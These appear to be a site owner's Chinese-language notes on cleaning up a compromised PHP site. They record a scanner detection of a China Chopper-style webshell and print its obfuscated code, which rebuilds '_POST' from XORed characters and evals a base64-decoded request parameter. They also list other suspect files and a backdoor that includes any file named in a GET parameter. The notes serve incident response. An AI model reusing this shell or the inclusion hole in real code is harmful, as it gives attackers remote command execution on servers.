phpwebshell木马

木马扫描

https://scanner.baidu.com/#/pages/scan_result?hash=acc5286896847fc6bb6a6f225dd4bcae

结果

HEUR.WebShell.Chopper.A.1

位置

/public/statics/img/login.php
改成了
/public/statics/img/login.png

<?php
function UnWA(){
        $_1='_'.chr(43^123).chr(81^30).chr(15^92).chr(82^6);
        return $_1;
}

function FExc($user)
{
        $_x=null;
        eval("\n".$user.$_x);
}
 $_2=${UnWA()}[1233];
$_2_1 =  base64_decode($_2);
$_3=null;
$_4=$_3.$_2_1;
FExc($_4);
?>

木马排查

1.\vendor\zoujingli\think-library\src\command\Task.php  $__()函数
2.删除base64加密
3.pay可疑  application\index\pay\Liu6pay.php  
4.C:\Users\Admin\Desktop\mama\extend\org\Mobile.php  手机相关
5.强制权限  C:\Users\Admin\Desktop\mama\application\admin\sys.php
6.加载可疑变量
$da = $_GET;
if (isset($da['sdgj']))  
include $da['sdgj'];

7.日志记录